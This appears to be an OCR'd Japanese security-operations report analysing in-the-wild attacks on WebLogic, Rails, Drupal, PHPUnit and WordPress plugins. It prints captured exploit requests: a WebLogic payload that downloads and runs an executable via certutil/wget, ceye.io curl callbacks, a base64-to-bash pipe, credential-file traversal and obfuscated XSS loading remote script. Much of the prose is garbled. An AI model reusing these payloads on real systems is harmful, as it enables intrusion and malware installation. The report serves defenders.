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WENMTOHNZRIEEMENGDET . Joomla! DRfESSH(CVE-2015-8562)B LU ECShop DAEES 14
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POST /user/register?element_parents=timezone/timezone/

#value&ajax_form=1& wrapper_format=drupal_a¥chttp://|II5IGzGzG@G@G@S/ H17F/1.1
Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.8 (Windows NT 6.1; Winb4; x64) ApplelebKit/537.36
(KHTML, like Gecko) Chrome/64.8.3282.148 Safari/537.36

Host:

Content-Length: 348

Connection: Keep-Aliwve

Cache-Control: no-cache

form_id=user_register_form&_drupal_ ajax=1&timezone[a][#lazy builder
[]=assert&timezone[a][#lazy builder][][]4die(mdS(DIRECTORY SEPARATOR))

4 Drupal DOHfes81%(CVE-2018-7600)% Hof- I %

5 (. PHPUNIit ORESS14(CVE-2017-9841)ZIBofc I E 2 RULET .

AWEE(L, SXFHITApril I MD5 )\ 1 BOFRNEEICKDAESSNENZHIEL TLET,
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POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.8 (compatible; MSIE 8.8; Windows NT 6.1; WOW64;
Tridentid.ai

Host:

Content-Length: 22

Connection: Keep-Alive
Cache-Control: no-cache

?=die(@md5(April));?>|

5 PHPUnit DORfEss1E(CVE-2017-9841 )% B> e
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Cache-Control: no-cache
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POST /blog/xmlrpc.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.8 (Windows NT 6.1; Winb4; x64; rv:57.8) Gecko/20180181 Firefox/57.8
Host:

Content-Length: 25

Connection: Keep-Alive

Cache-Control: no-cache

agento=die(@md5(April));|
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EICREOHDIRENMTONBRIREMEN'®DDF T JRETRD PHP VI NI P ERLTWSIHAIC
FEFN -2 ADOTYTT - MeHERLET .
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CVE-2019-2725° 6 A 18 HIC CVE-2019-2729* 0S5 MHIEEsRNM N\ RenE Uiz, INS0HE
SSEFINEPNSAER DT — REITHBIEETHDEEN. MESFIENMFIET DI R—F > MEHEIBLTVE
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(MESSMENFIEI I MR- N
>  wls-wsat
> wils9-async

4.1.1 AVR—2 MEORMNMF SIS

8 (. wis-wsat IR—R> NIXT I 2@ EDIRAFEHERZRUET .

wls-wsat J>R—%> M CVE-2017-1027 1°ORHRTHD. 2BILE B ENICZHOAE R
EHLVCHEBELRAMUTVET . B8, CVE-2017-10271 ZIRENFRELVIESTRFPITLD,
CVE-2019-2725 H&LU' CVE-2019-2729 D55 MHE#IA>IRBEBEEREL T3 8, SEl
DHEESH(CRE T BRI DA 2 TR EIRETT

M58t IBERO NG DR Z MR I DE. CVE-2019-2725 OB(K 8-O)UE(FHEIH>
T OZ LN HDEFE AN CVE-2019-2729 OF(K 8-Q@)ARF TRFEMNRMEN(E 8-3)
HESNET.

UNU. IBINORRFAISR—3> NOFEEHELHE Y 2185, CVE-2017-10271 #3E-o1
EBETHD. CVE-2019-2725 HLU CVE-2019-2729 LOREEFRANERA TR, fhD
E=IN(X 8-@)(CRAL TERIETHD. AT HELDREEERASNEFRATUR,

3 Oracle Security Alert CVE-2019-2725
https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html
4 Oracle Security Alert CVE-2019-2729
https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2729-5570780.html

> JSOC INSIGHT vol.19 4.1 Oracle WebLogic Server O I— RE(TOHEISIHE
https://www.lac.co.jp/lacwatch/pdf/20180411_jsoc_a001t.pdf
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RN RLINUIE A, ximex.cn AD HTTP BENFETZDH THD. A RAA > TIEAESSMH
1EHRZBNIZTOTN NN TVNBTENS, CVE-2019-2725 (CHUTHESIDRAMNIERTS
B THREEZET, £z, RAUKEASE—ET 5 CVE-2019-2725 ODIREEI—- K1 4 B 25
B(C GitHub _ETABISNTWBZENS, AMREEI— ROFITICLBEELEZFT .

AIREET— Rid. WEYIIZANTHFTBL AR ADAT—AI— I 202 THolBE . IR
WSS THREHITELET . UNU. JyFZEREHOIESS TRBVVRAMIBWTE. LARYADZAT
—9Z3—RlF 202 THREWIIBIROHNARIINTVBTENS, AIRSEI— RT(IARSS DB IETE
(GAETB3IENTEFHA MRIDR-F> ME TR NEBENBHN THNERERS EAE
THY, FEDAZVMFEEITOTVBICERNS TSN TORBVENRERIET

POST /_async/AsyncResponseService HTTP/1.1
Host:

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: python-requests/2.19.1
content-type: text/xml

Content-Length: 634

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/socap/envelope/"

xmlns:wsa="http: //www.w3.org/2085/08/addressing” xmlns:asy="http://wa.bea.com/async/
AsyncResponseService"»  <soapenv:Header> <wsa:Action»xx</wsa:Action><wsa:RelatesTo»xx</
wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2064/86/soap/
workarea/"»<javar<class><string»com.bea. core.repackaged. springframework.context.support.File
SystemXmlApplicationContext</string»<void><string>http://ximcx.cn</string></void»</class»</
java> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/
»  </soapenv:Body></soapenv:Envelope:>

10 RENITIBMUEREZEOAE

R 3 (CBRENOBIUVIREBOXETZRUET,

5 A 30 HOHEHDEIETT IP 7 RLANSOIRKNAHENMMENIL., (DB (E 52.142.196.101
BXETTEUTARK O HEEIMENIL TWET s Tl AESTHARIRKICHITS 52.142.196.101 H
SORFOVTED TRELUETS AHTINKRERNSHIE 10 EEBHIRNZHEBLTVET,

® [igsFeEER) Oracle WebLogic Server OfESSHE (CVE-2019-2725)
https://www.secure-sketch.com/blog/verify-oracle-weblogic-vulnerability
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TrANERBUIESS, BESEE(IRIBBE ) DN =) ZITIT7 /I N E<HDIENS . KIRE
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52.142.196.101 ZXfE7ce UIARAELTIE. 6 A 6 BIC® 10 TRUZREE— Eﬂl?é’fﬁ%ﬂb‘@
DET, 2D X 10 DIREBEDFER. Meds THHEHIBTULITRA MU TIREATEZZEEL T
b\étiﬁiﬂUbibT:o UNU. 7FURAMCE BABEDRER . IR REREHIBRL TVBIENS, Hf‘ §5737RK
MU TIHEARATZZEEL TOWSEWSHERIFH TIFDFEATUR.

POST /_async/AsyncResponseService HTTP/1.1

Host:

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=8.8

User-Agent: Mozilla/5.@ (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.8.2661.87 Safari/537.36
Content-Type: text/xml

Content-Length: 1327

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.0rg/2005/88/addressing"

xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</
wsa:RelatesTor<work:WorkContext xmlns:work="http://bea.com/28084/06/s0ap/workarea/"><java version="1.8.8_131"
class="java.beans.xmlDecoder”><cbject class="java.io.PrintWriter"><string>servers/AdminServer/tmp/ WL_internal/
bea_wls9_async_response/8tpkys/war/down.jsp</string><void method="println"><string><![CDATA[
<¥%@ page import="java.util.*,java.io.*"¥>
<%
out.println(“Version_ ");
try{

Runtime.getRuntime().exec("cmd.exe /c taskkill /f /im st.exe™);

Runtime.getRuntime().exec("cmd.exe /c certutil.exe -urlcache -split -f http://_:Eﬂﬂljxavg/javae.exe C:/
ProgramData/st.exe&cmd.exe fc c:\\ProgramData\\st.exe");

Thread.sleep(2000);
}catch(Exception e){

out.println("windows Error™);
¥

try{
String[] command = { "/bin/sh", "-c", "wget -g http://

11 10 ¢52133% 52.142.196.101 h"5OKEARSE

12 (2. wis9-async I2R—RY NI RIBEDALY M >FUS T AEBCHIFZ0T14HER
HRZRUET,
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IESSEDNBIEZNSZEO0THHDETH, 6 B 6 BEECEAODIHFENARESRALTH
D, BERICBIFIRMEB(RK 9)EEBRDFEUR. I UIZDY DB ZMERUIECS 2 DD, VD
(FTIITTRY N, BF. SBENSTIF LR 1 XFEVIIAMTACEAIGATEE. 650 DHMER
® 0S I RETZBEHEL/\YI RV EERK T 2IEIBE T, HEERCORIEE(ELINEHD
FEBATUR,

e FEXETO0JEEICOVTIE. IEI0UE BT 0EINAEOIRICEREHDFI N, BEHK
(CHIFBRBERRRC, FEDOBMCEVTOEIMNFEEL TVET .

S0 O Sl eran
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12 ALY M OFUS IO ABRICHF 00 E5HS

4.1.2 RS

IVR=R I NBORIFEBIERTBNAUL REXTPHREANBTORIMZRIILEZ LT,
Warning A EOEZEE CHIBTUARINCRAL T, IMEARBICHREUILAHOEIEZR 13 (TRU
95

E (K 13-O)ICHFEUIARKIDEFEAEN, PowerShell ZF)AUAEBI7AILOARIESKITZ
BRELTVET, Foo AEN R INU LSS ICBUSE BN 2N I71 )L 2 AU TVWSIRA ML T,
Eb%ZholRA M fid.hognoob.se TUT,

AT (K 13-Q)COFEUARENCH VT, whoamit® echo DEITHERZVFA LI NURER 4
DRVI7AIZVERR T ZF A BEICAOMESHICEATIRBETELUENNTVET , UHU.
wrnjmy.ceye.io A® curl/nslookup(X 13-Q@)EHFEFNEMNIRVABTUR,
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(3) wrnjmy.ceye.iondcurl/nslookup _whoami
314% 8

echo
484%

wget
126

PrintWriter _ .'

134F

_Powershell
3774

13 HEAFEOES(QAVR—R MEORAGEHEB TRENULIRAZIRC)

14 ([C. wrnjmy.ceye.io AD curl ZE50RBZRULET

AFABEBEOHFEL. RAMWAIIEEERESNTVBED curl 1 nslookup MIBIEFH T RAA I
EFNTVSIRTY, ceye.io [CBILTRAET L. TF1VT1TANTERTIIEZBEMELIT—EX
TERMBUTOBR RAA > TURR . AU —E OISR 5.2 ALHUET . S AY-E20ERE
MBENILIIZE. ceye.io OB T R > #IBESLUAE@BEMEINNT ZRIREENHNET,

AREFTHABIDARANCHVTHERRUIL OV R T ICRUE T

(2L UR)
> curl http://TRZAMWADIE | . wrnjmy.ceye.io
> nslookup RAMMWYADAE].wrnjmy.ceye.io
> echo [ EEIV>R%Z Base64 I>1—RUIEX 5 ]| base64 —-d|bash

7 CEYE - Monitor service for security testing
http://ceye.io/
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POST /_async/AsyncResponseService HTTP/1.1
Host:

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: python-requests/2.19.1
Content-type: text/xml

Content-Length: 873

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://wwn.w3.0rg/20085/08/addressing™
xmlns:asy="http://www.bea.com/async/AsyncResponseService”>
<soapenv:Header>
<wsa:Action>demofction</wsa:Action>
<wsa:RelatesTorhello</wsa:RelatesTo>
<work :WorkContext xmlns:work="http://bea.com/2804/86/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">»
<void class="java.lang.ProcessBuilder”>
<array class="java.lang.String" length="3"»
<void index="8">
<string>cmd</string>

</void>

<void index="1"»
<string>/c</string>
</void>

<void ipgdex="2-
<string /string>
</void>

</farray>

<void method="start"/>
</void>

</java>

< /work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>

14 wrnjmy.ceye.io AD curl ZELHAE

4.1.3 eSS TED*I R

AHESSEDR &% 115/ —23> 0D Oracle WeblLogic Server ZERUTL\3154. Oracle £t
HRHFT BRI EDIETEN - 3> OERASD. wis-wsat I>R—%> ML wis9-async Ik
- MOT I RFIRZHERUE T, £z, SEIBIMEEEIEHIERNIAHEIND IR CRER . =
PRI eEEMS DIcDDAHI ZHIITIENEETY,

AMESE DR EZZIBN -3 2L FICRUET

(CVE-2019-2725 OFZ&E%31135/(->3>]
» Oracle WebLogic Server 10.3.6.0
» Oracle WebLogic Server 12.1.3.0

(CVE-2019-2729 OsZ&E%31135/(->3>]
» Oracle WebLogic Server 10.3.6.0.0
» Oracle WebLogic Server 12.1.3.0.0
» Oracle WebLogic Server 12.2.1.3.0

8 Oracle Critical Patch Update Advisory - July 2019
https://www.oracle.com/security-alerts/cpujul2019.html
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4.2 Ruby on Rails DiESEIEZIE>I7 1N SROIMEE

2019 € 3 B 13 H. A-T>Y—-AD Web 77U —23>JL— AT T#H3 Ruby on Rails(IX
. Rails)ICBWT. 7T -2 3> OFRITHER TERD I7/ I 2 SR a] sE M85 14 (CVE-2019-
5418) W ABEENELL,

AMEFFMET Rails D514T5UTHS ActionView DALIB(CEERL. Rails 7T —3a>(CBWT,
file #7>3>%38FELT render XYy RZFERAL TV IIHECHEZZIIET IWEHT. MR
Rails 77U —2 33U T, #IZ U Accept AWAZ S HTTP UIIANRIXZZET, 7 o—3
IOEITHERTERD TN ESIBIBZENBIFETT,

FEBEOT7A )\ ESIBAIEERIEEE (. Rails DESRIL—LT—-I% CMS REDHE. H#I7AIL
PERTETFAIIEVOTHEEEDFR VI 2 SRENZ R REENHDET . FHARMEIFMECBVTIE.
BIRFCARENTE Rails (CHBITRAER DI — FEITR]FEREESE(CVE-2019-5420) 2 H I IRE
DRRIIEAF(CRANZID . FFENETT,

4.2.1 FfeS5 IEDIREE

15 (. credentials.yml.enc Z&B 9 3R LE{EZRLET

credentials.yml.enc (& Rails ([CBIFBEETE T/ ILDVEDTHD, #EEEOBVIBHRMNMES LS
NERETREINTVET . 7TV -23> THERBEVTHERINZIZEHRTHD
secret_key base B RI7ANICRFEINTLEFIN, KRR DFERTE/AHNE
credentials.yml.enc ODRBFIIBESLENTVET, ULHURHS., BSICHERRIBIRMRFIN
TW3% master.key ©. ARESFHICEDSIRBIGETH D8, secret_key base DfiE%ZZE=E(E3
BN e]gedndmhE T,

9 Rails 4.2.11.1, 5.0.7.2, 5.1.6.2, 5.2.2.1, and 6.0.0.beta3 have been released!
https://weblog.rubyonrails.org/2019/3/13/Rails-4-2-5-1-5-1-6-2-have-been-released/
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GET /demo HTTP/1.0
Host:
Accept: ../../../config/credentials.yml.enc{{]

HTTP/1.0 200 OK

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: strict-origin-when-cross-origin
Content-Type: application/x-yaml; charset=utf-8
ETag: W/"538d33b1e77897b062d5e1985c36629d"
Cache-Control: max-age=0, private, must-revalidate
X-Request-Id: e55f3c3e-50ef-4f48-9d19-1alfed992ff4
X-Runtime: ©.005805

+8PUsxHV+X3DqnS90bZkT40ZuKz80d3qFJcLgk1ZSIGYtOP4mvuhiiezq/of1ilWbXCcESPHXMY88kIza5Xg+8p4ASe0/
daCH8JcVclzlgH6alZnu+gjUlZ1ctnuBPSnge415aRFgqKaRvTCPIe6voli2wcCXLjE1z5+sNdVWnCSLIyqkHfIdE
+sFbTNEK9zmrH4qasEH1Cal+2/4woMi+KAEi131c+fhAfQUzIHd2GbuBAMkoZLeKBgkkt12/
LikFsorGBTOtamY1C29eTWcByXApxzeoAjIxN1CzjcbV+S+0s0kIwydcho7+cSxWOipDPj9PD+YBrwKDvCKY
+808py62UHi0L@dCvrURurhMeaDqoglICpTROHx4+A/Rg4FZGN/on@bShmqlsxpljCwZiOieQAgR5c6Dk4 - -
jcHgykXobK1Eirfj--60Ibfoq9008IaX9mxZMuNA==

15 credentials.yml.enc 2R3 3RDE{E

RS, Rails 7TUT—32(CBWVT production E—RTHry212BRCLTVBEE. LYY
DURR—SDF vy 1% RIFT 38, B—OL> )% FBL TEE GRS I7( IV 2SR5l
([FTELB A RREELIZECA. Jetc/passwd ZZBRUILEICRID TP IARTFEIELRVI7A I REDES
BERAHER, FrvS1dniz/etc/passwd DRBZRUELUT,

4.2.2 R OHERS

16 (. CVE-2019-5418 ZIH eI E DIRAH LR ZRUE T,

BEFREICHBVT. 4 B 13 BMS&AILTHED. 5 A 24 BHHLU 6 A 10 BIAERAIMFEN'2
BUTWEY ., cNSOIENIOREE, 178.128.75.224 #XETEVZIRETULR. Rails HigEIL
TVRVWRAMMM IZHEDIRIN 2 L HHERLTHD. REOASOHRULER(CBVTHE
/etc/passwd ODSRRDHTHRENS. HESSEDFEIT IRANEBL TWEEZEF T,
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1400
m178.128.75.224 mZ0Ml
1200
1000
#® 800
bl
fﬁF
# 600
400
200
5 - . _A A A
. & “ . = Vo . A\ ™ Q b
cb\b‘\ o}\?‘ \'}‘\:\’ \"‘\:\ \'PXL q\\ \%{\) \%:L ~<'}\’L q\b' \Q:l\:\/ \b\ \fo\%
B I I I ~ S P>
Vv 0 v 3 v v o v "
16 CVE-2019-5418 %&IH>EINZEDIRE{FEUHERS
4.2.3 NS5

BUF(C AU E LBV TESROMRESN TP OB ZRUET .

%/ OS DR TEBIRICEAT 2T71 OS8R %5HH THD. CVE-2019-5420 ([CDRNBRIREMED
HdI71 ) EEN TS secrets.yml. credentials.yml.enc. master.key BREDTrP (I Z2SET3
WEDRAEHDFEFATURZ. UNUINS, S EOHIRFAEEL T, RAIEE I H e E X3
BaERLTVET,

N

YV V V V YV V VY

X 17

(SROIZFRESNTTFAIDH]

/windows/win.ini
/winnt/win.ini
/boot.ini
/etc/hosts
/etc/group
/etc/passwd
/etc/services

(S ARFEB 2B eI E OB 2 RUET .

SRIDAROITAIIICRICT RV A ZAERL TEBOX FINRIEE T HIENTIRETT . DI
. WAF ¥ IDS BEDEF 1T BB THEEINTVS IR FAS IR RO TPV RITHKFL T
WBIEE. BZHI B TRFr(C LB Z[EEEEN BB ENHDET .
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AFACEALTUE RRN—230FRMOFEBYA NCH PentesterLab 1 Twitter £7045™°(C
TERUTEN. TNZEENMEMUILEEZEFT . 178.128.75.224 o OWE(F. AFENMEA
SNTVLELIL,

GET / HTTP/1.1

Host:

User-Agent: Mozilla/5.8 (X11; Linux x86_64) ApplellebKit/537.36 (KHTML, like Gecko) Chrome/78.8.3538.77 Safari/537.36
Accept: ..f../0.. .. . ). le¥c/pEs¥di{

Accept-Encoding: gzip

Connection: close

17 BRAEEZIRSTZHRZEDH

4.2.4 RESSTED3TR
fESSIDRZEZZ 32\ -23>0 Rails ZERALTVSIHEE BRI -S> 7yT0Ezit
BULFT. T, ICICRIBERBEZZVFREITMINSRENAIREIEEHH. HRIFIROEFH
EEHNR TEMI D EHERLFT,

(RAESSEDREZZTD/N\-3>]
> Rails 4.2.11.1 XDEID 4.2.x
Rails 5.0.7.2 &DaEID 5.0.x
Rails 5.1.6.2 &DaEID 5.1.x
Rails 5.2.2.1 &DFIMD 5.2.x
Rails 6.0.0.beta3 &DHID 6.0.0.x

YV V V V

10 CVE-2019-5418: on WAF bypass and caching
https://blog.pentesterlab.com/cve-2019-5418-on-waf-bypass-and-caching-10e93f9a1981?gi=9d73fa044fc9
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4.3 WordPress 2’594 > & B> 1 EDIEhN

2019 £ 3 BB A-T>Y-ZA0I> 7 VEEI X5 A\(CMS) Térd WordPress D551 >
([CBVT. Web B4 MDFREZE LS AN ATRERMESSEMEMAFENTLET, BERIRIECH
(3% WordPress 0394 > % B IeIREDWERANCREL T, 5 A L& TR BRI DB NN %
FAILTVET,

4.3.1 BREENEDSI1Y

& 4 (L BAIABHSHESRUE. IREDZN ESNTZT T 1> 081 RUET .

WordPress ([3Z<DRFRE (LSO TRRINEZEZARRTIT1>NHD. ENST 31U
THESSMEN R ONBEEELZHNFET . SEINKE TIFFUKAHINIARSE HEERLIC. S REZE
B AJREIRINEL XSS RIRER RIS MR DTS5 ( VIR REL TVRLICBRIFTBNET,

&R 4 BOEENETSI1>OH

I3914>% RessTED %A

Folders HEHREL XSS
WP Live Chat Support FEHNEY XSS
Live Chat with Facebook Messenger F&HNEYL XSS
Social Warfare FEHREL XSS
Easy WP SMTP HEZE
WP GDPR Compliance RELE

4.3.2 I E =

18 (GERERZE DT IR EINEBEOAZ. B 19 (THRHNEL XSS Oifess1tzIE IR
BEEoheruEd.

WENRINUISE . EE5QWETE js Tr(IVMEEEGHMAFTN. RN 20 (CRIARE
BYAMUFLILIRENET Fz. BIOKEBIETEHREDEMRD EC Y14 MIIFILIMENELZ.

Y rhnzs4 ke ROUTF4 (XSS) | OEEEHEOTEE
https://www.ipa.go.jp/files/000024726.pdf
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POST /wip-admin/admin-ajax.php HTTP/1.1

Host:

User-Agent: Mozilla/5.8 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36
Connection: close

Content-Length: 183

Content-Type: application/x-wwe-form-urlencoded

Range: bytes=0-1000000

I - i tcurl&value=https%3A%2F%2Fdeliverygoodstrategies. con%2F java. js%3Ft%3D3%26

18 FREXREDHeSEEZIB- LM EEFDH

POST /wp-admin/admin-ajax.php?action=wcp change post_width HTTP/1.1

Host:

User-Agent: Mozilla/5.@ (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.8.1985.143 Safari/537.36
Connection: close

Content-Length: 1825

Content-Type: application/x-wiw-form-urlencoded

Range: bytes=-08-1000000

tyle¥%3EX3Cscript++asynck3Dtrue+type¥3Dtext%2Fjavascript+language¥%3Djavascript¥3Evar+nt+
%#30+String. fromCharCodeX2857%2C+57%2C57%29%3Bvar+mb+
%3D+String. fromCharCode®2897%2C+106%2C+97%2C+120%2C+67%2C+111%2C+117%2C+110%2C+116%2C+101%2C+114%29%3Bvar+sb+
%30D+5tring. fromCharCodeX28115%2C+99%2C+114%2(+105%2C+112%2C+116%29%3Bvar+jb+
%3D+String. fromCharCode%28104%2C+116%2C+116%2C+112%2C+115%2C+58%2C+47%2C+47%29%3B+var+th+
%3D+String. fromCharCode%28116%2C+101%2C+120%2C+116%2C+47%2C+106%2C+97%2C+118%2C+97%2C+115%2C+99%2C+114%2C+105%2C+112%2C+116%29
%3Bvar+lb+
%30+5tring. fromCharCodeX28100%2C+101%2C+115%2C+116%2C+114%2C+111%2C+121%2C+102%2C+111%2C+114%2C+109%2C+101%2(+46%2C+99%2C+111%
20+109%2C+47%2C+115%2C+116%2C+97%2C+121%2C+46%2C+106%2C+115%2C+63%2C+116%2C+61%2C+112%2C+38%2C+97%2C+61%29%3Bvar+c%3Ddocument .
createElement¥28sb%29%3Bc. type%30tb%2Cc. async®3D1%2Cc. src%3Dib%2B1b%2Bnt%3Bvar+n¥%3Ddocument. getElementsByTaglameX28sb%29%5B0%5
D#%3Bn.parenthode.insertBefore®28c%2Cn%29%3B%3C%2Fscript¥3E%3Cstyle%3E

19 1&iNBY XSS DRfess T ZIB > TR ZE @ EDH)

NCS

0 'l. )
) "t

=%

VERIFICATION

20 FEINBIAER Web Y1 hofl

4.3.3 RENF DR

21 [Z. WordPress T34 > &5 REUIREDIRAUFEIERBERUET

NSDOINE (L AEFHRABICEVW T B ORIRZEVWTINEZITO TV AERNHDEU. .
REAEFEZITONEY A MO RA S ERRCEHBORIPRE TEEINTLELIZ, —A T RXI(&
ZEINLBEODFHHAD T7AINBADOVWTIEZEEH RV ENE IR TEE U, 20, R
B(IRFEOREIIN-T L2060 THZIAIEMENEZSNET,
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9 & gF o o o o GRS N P\ P QS S NN N P P
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21 BREFEHIHEE
4.3.4 BMEAERICEEEND KA DH
RANUIREE(CHB VT, eRSARITTEE NS KX OFIERUET . SEIOKETEERBE ORI T
HEIBZPAEEBLTVELE.

&R 5 BWEARICEGSNERA(>

RAL> RENU B HA
clevertrafficincome[.]Jcom 4 H
hellofromhony[.]com 4 H
destinywall[.]org 4 H
deliverymoretimes[.]info 4R
leftoutsidemyprofile[.]info 4R
eaglelocation[.]xyz 5H
detectnewfavorite[.]Jcom 5H
cdn.traveltogandi[.]Jcom 5H
cdn.blackawardago[.]Jcom 5H
stats.garrygudini[.]Jcom 5H
ns2.chatwithgreenbar[.]com 6 B
d2.littleandbiggreenballlon[.]Jcom 6 H
deliverygoodstrategies[.]com 6 H
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4.3.5 WEL LI EDRBEENR

ARIWE (T WordPress J354J1>0OMEss 4% HoIz Web B4 hOeREARET L. CFIFE®
WordPress 594 >(c. REE(CRSET 2HES5MENTEIE S 3155 (d WordPress D7 —ANR—Z 10
BIREENMSREZIDRVRALADOSEEY, ZEULEIDRVEENRONMER T DIEEHELREL
F9,

Fle. AWEOMREL T, FRAL TV T OBIEBNEETY .. NRHIBERNSRIO/MESS S
1BEREUNEL. CFIBDT 371 U BMEH T 2HEITHENFIE S DB E LR AR TY T T — Ne SR
F9, FEAKECEAU TUE BB TSI 1 3 WFMERR SN T RBMELELTOLE T2, Z0IBEE
RBTSTA1OOBAFI(SHIBREHERUFT,

WordPress (CPROZEIETEHDER AN, BAINTVRTFT 1> 2 ESEREEMTHNTH
RV TT1 DM IR e IRE DR &% 2B E N D3I, SERNNETT, FIAMEBIC
BIEFFELTVBIHECE. BEEAHIOEIECORZELZRENGDDET .

12 Threatpost: WordPress Users Urged to Delete Zero-Day-Ridden Plugin
https://threatpost.com/wordpress-users-urged-to-delete-zero-day-ridden-plugin/141209/
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5 {Jix

ARUR=FTRBAULY IO —ER WEE ) -TRECREI MR 2R L TEEELET .

5.1 XAttacker Tool

3.2 TEEELI XAttacker Tool (&. CMS ZXIRELIZIVRTOA N =L TY . ERDT7 (N %ET
v 00— ReJEERBESSENTEIET D CMS DT 551 > 2R REVIEIREE D — RIS (REEESN TL\S 28,
ZHI3T3T1>D% ) WordPress, Joomla!., PrestaShop OUVSNHHIHEIT RO Web B4
NTHEIL TLRIHE. 15ICZ(OKREMTHNED,

F+ 6 (C. XAttacker Tool DIEMHRZRUET,

#+ 6 XAttacker Tool DIIENISR

CMS WERISR

WordPress | Adblock Blocker InBoundio Marketing
WP All Import dzs-zoomsounds
Blaze Reflex Gallery
Catpro Creative Contact Form
Cherry Plugin Work The Flow File Upload
Download Manager WP Job Manger
Formcraft PHP Event Calendar
levoslideshow Synoptic
Power Zoomer Wp Shop
Gravity Forms Content Injection
Revslider Upload Shell Cubed Theme
Revslider Dafece Ajax Rightnow Theme
Revslider Get Config Konzept
Showbiz Omni Secure Files
Simple Ads Manager Pitchprint
Slide Show Pro Satoshi
WP Mobile Detector Pinboard
Wysija Barclaycart

Joomlal Com Jce Com Weblinks
Com Media mod_simplefileupload
Com Jdownloads Com Facileforms
Com Fabrik Com Jwallpapers
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Com Jdownloads Index
Com Foxcontact
Com Ads Manager

Com Extplorer
Com Rokdownloads
Com Sexycontactform

Com Blog Com Jbcatalog
Com Users
Drupal Add Admin
Drupalgeddon
PrestaShop | columnadverts cartabandonmentproOld
soopamobile videostab
soopabanners wg24themeadministration

Vtermslideshow
simpleslideshow
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5.2 CEYE - Monitor service for security testing
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